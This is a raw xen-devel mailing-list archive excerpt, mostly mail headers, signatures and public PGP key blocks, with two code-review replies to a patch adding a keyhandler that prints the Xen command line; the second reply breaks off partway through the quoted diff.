 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 23:42:00 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1fa8bb6d1asm31931166b.49.2026.07.29.23.41.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 23:41:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785393720; x=1785998520; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=XdILCz3HzNS6K1cZxxHGlFj5a1gayuOryuynKm/+HRk=;
        b=g/rk5vP100jFg8Dg1wONFbe5ur2nOgAHk7QEhOA51N/lBvJmLsjhqw78TV+JXPIQlE
         /8vIJYDy3344xB2TwFcYiXMDT3Rhw8H2uJJs8bRLl2GkkcvOD5QYFJ0PznYRAfn/PSBi
         tdLD38PVrJ52dvRQ4Ibn4RYnfMLtdnAyPKiZJcqfJPV7lec62ZsD+0/cR4KGbQloS5aj
         9Dj4iP9FDMgu5wSrDk0ZDG6SFFbFxLfq+fu6laOtM3NN/f8sNQHbJQISqNRW3aiFM51U
         jpAg9JYYw/luNtnF0t0IzaCYMHkkQbfYTlDhi4Ae9HcqQXwoCrKD8v/zjvxxI8axBXZV
         KB9g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785393720; x=1785998520;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=XdILCz3HzNS6K1cZxxHGlFj5a1gayuOryuynKm/+HRk=;
        b=I+eI8ITEZJKixwmI5eiUPiyw3r7uqWPyJDEaFLAS1jknuwNPuc0+OS1CBJK3wmBdqa
         lj9jKWX8C+WOvFRI3VGbLJ3cW0aHVcKyBCfNeBKmSfTC1r+jst8nifXCM7BcLGmsWLaz
         cFxKJgebRUEM7lB05tVyFcs3Wg3jafb/toPm1JxTetFU2N/ofujzJEpN/XYrSpUUa/os
         TBkutwXxQQ+6YEGY7+jDeBNEQ7GME4vnfrG+ohCBnx3B6ujcvlIf4k/b6ZG7k4X9qXZj
         7bI8/NLBfyfJnXCi7CDmhVCho+YtnUZ8brV7SxAu1Ynuh6+fvryRExLlDEXua/aRd4M4
         fJdQ==
X-Forwarded-Encrypted: i=1; AHgh+RoWz2EVMxlv1MAvHr2qGkud2qCygxpSlcTGs+dyi6tlQ3nvucVNUFZ89L7phFDIPuzUPuj1AyxDH5A=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy+Hr50Zs5ZjTzP6bVsh3+p6hp6EGoH947rGT2/gdgCaxHuRLKt
	D+C7GqTDt0IYyd5xkszpptdg+05IX3ErM7ruAFF5rn/z379HyWoL7fT8rCDGE7dxqPg=
X-Gm-Gg: AR+sD11uJmdFtCfJ3U0O3mr0fAPBbeFXyHkHjQ7tED0gnpSUMUDtA7/BOape8Qj2rBU
	fffTevVmIasAGVRWLGKHa6idOLr+BOILgxw7kkpgKIAiGynt/WdXfOxhBg3AqC4thndgjtjuPwF
	xC0r+5KzDT7ZvhRClrha7IwvB1czy7cBetgWs29YR10Hx4caNXzOxC2d8iPqzTNIVRQG59vfPnb
	WzmDpViiJzdJ0AbGzYn3LVO3N7nurXL/iXMgXLRVcZB7U18jlvqrQIEWcYlIyPMAqMswY2Uf0EK
	TEiTLIL5ya9v2HgkYGfOC+vphihVI52El8qTN12Ua176aDX6sC0nqyvtXGzR6dlrLgdl0VRJcqe
	z7lbECIeAKE5uyYPdrOqKxCTej6L05zWSPWP3rCBOIMv0mIgmRpAK+/RODzyqdYPHfjcCRxjgQH
	F2XUcAFIzB7G7oawYXWKSAl6n2F/nUj4nffohDufprAo3r27ffTLwe71k1Lgv+jPXO6LtPTbnxw
	AWqPhGu6ZgWakZ29OACV3v03iJ31tOTnpA2i4402AM4gVApA9NpXYEu6LtVSaIrybJ0ZHi7ke7q
	xt9KGkhU1s/v//A=
X-Received: by 2002:a17:906:9f92:b0:c16:9ca5:e551 with SMTP id a640c23a62f3a-c1fa55d53c2mr66861566b.14.1785393719662;
        Wed, 29 Jul 2026 23:41:59 -0700 (PDT)
Message-ID: <3694fde6-de06-4cac-afe7-67997c821aa1@suse.com>
Date: Thu, 30 Jul 2026 08:41:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1] keyhandler: add handler to show Xen command line
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
References: <20260730061459.2702672-2-dmukhin@ford.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <20260730061459.2702672-2-dmukhin@ford.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------xSsCY0u64o4PEmF5C55DNxbs"
X-purgate-ID: tlsNG-d25034/1785393720-50321A5B-2F891B3B/0/0
X-purgate-type: clean
X-purgate-size: 8472

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------xSsCY0u64o4PEmF5C55DNxbs
Content-Type: multipart/mixed; boundary="------------27xILhdRyeNGgR5Htm2iTYxP";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
Message-ID: <3694fde6-de06-4cac-afe7-67997c821aa1@suse.com>
Subject: Re: [PATCH v1] keyhandler: add handler to show Xen command line
References: <20260730061459.2702672-2-dmukhin@ford.com>
In-Reply-To: <20260730061459.2702672-2-dmukhin@ford.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJ3BBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AAIQkQoDSui/t3IH4WIQQ+pJkfkcoLMCa4X6CgNK6L+3cgfgn7AJ9DmMd0SMJE
 ePbc7/m22D2v04iu7ACffXTdZQhNl557tJuDXZSBxDmW/tLOwU0EWTecRBAIAIK5OMKMU5R2
 Lk2bbjgX7vyQuCFFyKf9rC/4itNwhYWFSlKzVj3WJBDsoi2KvPm7AI+XB6NIkNAkshL5C0kd
 pcNd5Xo0jRR5/WE/bT7LyrJ0OJWS/qUit5eNNvsO+SxGAk28KRa1ieVLeZi9D03NL0+HIAtZ
 tecfqwgl3Y72UpLUyt+r7LQhcI/XR5IUUaD4C/chB4Vq2QkDKO7Q8+2HJOrFIjiVli4lU+Sf
 OBp64m//Y1xys++Z4ODoKh7tkh5DxiO3QBHG7bHK0CSQsJ6XUvPVYubAuy1XfSDzSeSBl//C
 v78Fclb+gi9GWidSTG/4hsEzd1fY5XwCZG/XJJY9M/sAAwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------27xILhdRyeNGgR5Htm2iTYxP
Content-Type: multipart/mixed; boundary="------------5jcl0AxCdUCDWYCPlZ8Y83vu"

--------------5jcl0AxCdUCDWYCPlZ8Y83vu
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMzAuMDcuMjYgMDg6MTUsIGRtdWtoaW5AZm9yZC5jb20gd3JvdGU6DQo+IEZyb206IERl
bmlzIE11a2hpbiA8ZG11a2hpbkBmb3JkLmNvbT4NCj4gDQo+IEN1cnJlbnRseSB0aGVyZSdz
IG5vIHdheSB0byBwcmludCBYZW4gY29tbWFuZCBsaW5lIG9uIHRoZSBlbWVyZ2VuY3kgY29u
c29sZQ0KPiBmb3IgZGVidWdnaW5nIHB1cnBvc2VzLg0KPiANCj4gQWRkIG5ldyBrZXloYW5k
ZXIgJ0MnIHRvIGFkZCAoc2F2ZWQpIGNvbW1hbmQgbGluZSBwcmludG91dCBmb3IgZGVidWdn
aW5nDQo+IHRoZSBzeXN0ZW0uDQoNCidDJyBpcyBhbHJlYWR5IHRha2VuIGZvciAidHJpZ2dl
ciBhIGNyYXNoZHVtcCIuIE1hbnkga2V5aGFuZGxlcnMgYXJlDQpyZWdpc3RlcmVkIGR5bmFt
aWNhbGx5IHZpYSByZWdpc3Rlcl9rZXloYW5kbGVyKCkuDQoNCldoYXQgYWJvdXQgJ1gnIGZv
ciAiR2VuZXJhbCBYZW4gaW5mb3JtYXRpb24iPw0KDQpUaGlzIHdvdWxkIGFsbG93IGZvciBh
ZGRpbmcgbW9yZSBpbmZvcm1hdGlvbiBsYXRlciwgbGlrZSBlLmcuIHBoeXNpY2FsDQptZW1v
cnkgc2l6ZSwgbnVtYmVyIG9mIENQVXMsIG51bWJlciBvZiBhY3RpdmUgZG9tYWlucywgZXRj
Liwgd2l0aG91dCB0aGUNCm5lZWQgb2YgYnVybmluZyBhbm90aGVyIGRlYnVnIGtleSBmb3Ig
dGhhdC4NCg0KDQpKdWVyZ2VuDQo=
--------------5jcl0AxCdUCDWYCPlZ8Y83vu
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3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Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------5jcl0AxCdUCDWYCPlZ8Y83vu--

--------------27xILhdRyeNGgR5Htm2iTYxP--

--------------xSsCY0u64o4PEmF5C55DNxbs
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpq8jYFAwAAAAAACgkQsN6d1ii/Ey/B
EAf9EVOfjjZqxZnxLMHECjMGkXt0kdxm0VblICj+CNvSaSJNZg+WGTvuLqmsGVjX61j4g3mPBlLv
6QRNUSPiLxrDYG/V1LXob1WpwS/br8mjxSpN1trqQFe2speofvDg4eGG19PB0ethYWw7FFg8mp6z
OIHorAd0PnF6J7rqtyllLlOUk2pvtSNU0IyrTjI7AaiHZpzg2Rlz5TEMDNWCXoQLLiax9I4ehorg
JJv8t31ZDaNGvuB5s0gSyFD5x2JmWFIFBqdNG7Hg7ibHWDQPzjf9NyRflGkBkFUoMD32n7KoWydI
Zh/1YA4A7Q7KXMeGYzKIPel1lfPTlBW6ymVaRsp3bg==
=KFSM
-----END PGP SIGNATURE-----

--------------xSsCY0u64o4PEmF5C55DNxbs--


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 06:42:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 06:42:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377177.1623376 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpKTA-00015H-HZ; Thu, 30 Jul 2026 06:42:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377177.1623376; Thu, 30 Jul 2026 06:42:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpKTA-00015A-EI; Thu, 30 Jul 2026 06:42:16 +0000
Received: by outflank-mailman (input) for mailman id 1377177;
 Thu, 30 Jul 2026 06:42:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wpKT9-00014T-8b
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 06:42:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpKT8-00GRxE-10
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 08:42:14 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6af239-e002-0a2a0a5209dd-0a2a450a9480-26
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:42:14 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a6af245-f2d2-0a2a450a0019-d155802dbc63-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 08:42:13 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so11305875e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 23:42:13 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-498012168e7sm35019385e9.15.2026.07.29.23.42.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 23:42:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785393733; x=1785998533; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=DTHw4ouoEYc3Bsw7nfpsiEzD5mR19Y0mgVjpPmSqEns=;
        b=KbosETfGRjc+Vt+tntAknTVwS8cJ4u8fl2iHcghB4OlGaZ1oZJasafgBbknFhTf6u+
         Dq6q/AwH1OxjobRdvUzlkiPxtQDrXKTQt2cC1h9kdF1+PkcwMTLVDA9rAbRfKQEswYXQ
         /rPowj2OmYBwFwWM855rdhCakSKMgXDj1kjOxk8tJ8w/Xgn4w+dcVTHwjingGvhR5VDs
         pumzO4zNQkB+Y9Iz13WubFWNu0OjhlbxaBxDXM6IjbSqaqL2EF8gAB1IfOvAmDiMOT57
         g5qMlORoj39sWRZ/Gax4UD4ku6bPmUBFds2tjIHOG95RSmEmX5kP0Fbbjjia40ldt2H/
         Y4mw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785393733; x=1785998533;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=DTHw4ouoEYc3Bsw7nfpsiEzD5mR19Y0mgVjpPmSqEns=;
        b=j6fn0/jIe6bU030b2iDHYhyZyPb0fTU07US9llBi19ngQC2GgukWsz70kcJMJxWicN
         8abXF/aLW/evGr5E3f5fqUVghVjI7Rs4cOOeci/joD9Oryth5o1GgMuvI2H0Q02lK8b2
         F0MjAtrHMAUNrf0A8Ov91u58qWQNPnr06uhRkwI1t1/vskRJ7XKRHSCzsj7192dXaqiY
         w6X+qEaTj92qbT2jHmlzEtVqVXuIXl6sw8bqFLX4JZnuXEC/D1tJS2egtZIQATVqj8nS
         ec/U8ppuDVK6Dsk9DenQZfqJzFZsg93bn/tiu4ojNDM45WP/WrMghvtjJFhqz8sbpFqf
         t2hg==
X-Forwarded-Encrypted: i=1; AHgh+RqDZL6H1JknlTNLRA6bdwl1TNMPqIxFGuV6uzu4eHzS11EcRVYU8z3p1miKQO7JS03PM75YpqKuPzc=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx+pdmKyanNroTwHbYOx2+55+5pg63pwnVTFEko3Dl5lYz/YV3H
	Ho+Jkfq5pPIofDh5Cl20vH0/z+TTcmoMAesh+706zRpU6A/Ge1ztJ7KENOfmZ9qrmw==
X-Gm-Gg: AR+sD13fkVZ5dyJBZ0lI91dr3shiNak/PGOQFrsANv0htwKApc0N80vMI0xBbrl+FXn
	eem2gf2PibW9UUB7DEyA5VlVkkfozKgjeQsRwgEuvOXgdQxE5Eq9UA0sSL74eJg10Q0NdPjMmXL
	RmtCd4t7MNzuz0xF/p1Vw/zL4LDNG5GjEmPAQy1811E0m/mH/KzmF7GGnscV4fUDdJgsjPVcOO6
	AjtFWNJ6DUHjjnp8l+DnCceL1/pszRJ7n9SmeHTBJb0yJTbfTpLfaZcmc8UBmfbO+cmBmrJMIDA
	FWtdmN/6ZMFLJrOTFQqMY/sHjr6eLiSRSxbwwZwdaaxMg7YEfafr6tK5K/pdyra1wN567QCt3YA
	ZiQ/WC5CYB75mv+QjxspaFR7T3pMyjjIDqNJmNDzTovv+082Fe2JLUHqm4yyuq1Fwm+5CKVKoMB
	SL6rG+7YNDfsvlcC5JsWCXyMy1Zksp4l+VOgKbK7saqwwF/AarN1e6ntHmpu6Lo0MK0j8SgoBav
	qoK/6wV9axtzngRpdC8Br4KZqZNUXebGkQsi/AFJKLBYecRrtpF
X-Received: by 2002:a7b:cc14:0:b0:495:518a:d95a with SMTP id 5b1f17b1804b1-49800eac4b8mr9868055e9.29.1785393733525;
        Wed, 29 Jul 2026 23:42:13 -0700 (PDT)
Message-ID: <98911b08-cb5b-4211-949f-f800ecb48ffa@suse.com>
Date: Thu, 30 Jul 2026 08:42:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1] keyhandler: add handler to show Xen command line
To: dmukhin@ford.com
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, julien@xen.org,
 michal.orzel@amd.com, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
References: <20260730061459.2702672-2-dmukhin@ford.com>
Content-Language: en-US
From: Jan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8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260730061459.2702672-2-dmukhin@ford.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1785393733-4ABD8CFC-BD51A037/0/0
X-purgate-type: clean
X-purgate-size: 3511

On 30.07.2026 08:15, dmukhin@ford.com wrote:
> From: Denis Mukhin <dmukhin@ford.com> 

First, you want to update Roger's email address that you use. This is now the
2nd patch that you sent to his old address, and the latest after sending the 1st
you should have noticed.

> Currently there's no way to print Xen command line on the emergency console
> for debugging purposes.
> 
> Add new keyhander 'C' to add (saved) command line printout for debugging
> the system.

If others think spending a precious character on this, I think I won't attempt
to veto this, but I'm definitely not going to ack such. More importantly though
you shouldn't be using a character that's already in use.

Nevertheless a few comments below.

> Also, fix indentation for KEYHANDLER() entries in 'keyhandler' array.

"fix" as in "break"? Patch context alone doesn't make clear at all why you'd
do this. Looking at the full source I think I can see why you think something
may be wrong there, but I don't think it is - the earlier block outside of the
#ifdef-s is different in this regard, imo.

> --- a/xen/common/kernel.c
> +++ b/xen/common/kernel.c
> @@ -232,6 +232,11 @@ void __init cmdline_parse(const char *cmdline)
>  #endif
>  }
>  
> +const char *cmdline_get(void)
> +{
> +    return saved_cmdline;
> +}

To accompany both this use and the pre-existing ones, perhaps it's time to
mark saved_cmdline[] __ro_after_init (in a separate patch preferably)?

> --- a/xen/common/keyhandler.c
> +++ b/xen/common/keyhandler.c
> @@ -28,7 +28,7 @@ static unsigned char keypress_key;
>  static bool alt_key_handling;
>  
>  static keyhandler_fn_t cf_check show_handlers, cf_check dump_hwdom_registers,
> -    cf_check dump_domains, cf_check read_clocks;
> +    cf_check dump_domains, cf_check read_clocks, show_cmdline;
>  static irq_keyhandler_fn_t cf_check do_toggle_alt_key, cf_check dump_registers,
>      cf_check reboot_machine, cf_check run_all_keyhandlers;
>  
> @@ -60,15 +60,17 @@ static struct keyhandler {
>      IRQ_KEYHANDLER('*', run_all_keyhandlers, "print all diagnostics", 0),
>  
>  #ifdef CONFIG_PERF_COUNTERS
> -    KEYHANDLER('p', perfc_printall, "print performance counters", 1),
> -    KEYHANDLER('P', perfc_reset, "reset performance counters", 0),
> +        KEYHANDLER('p', perfc_printall, "print performance counters", 1),
> +        KEYHANDLER('P', perfc_reset, "reset performance counters", 0),
>  #endif
>  
>  #ifdef CONFIG_DEBUG_LOCK_PROFILE
> -    KEYHANDLER('l', spinlock_profile_printall, "print lock profile info", 1),
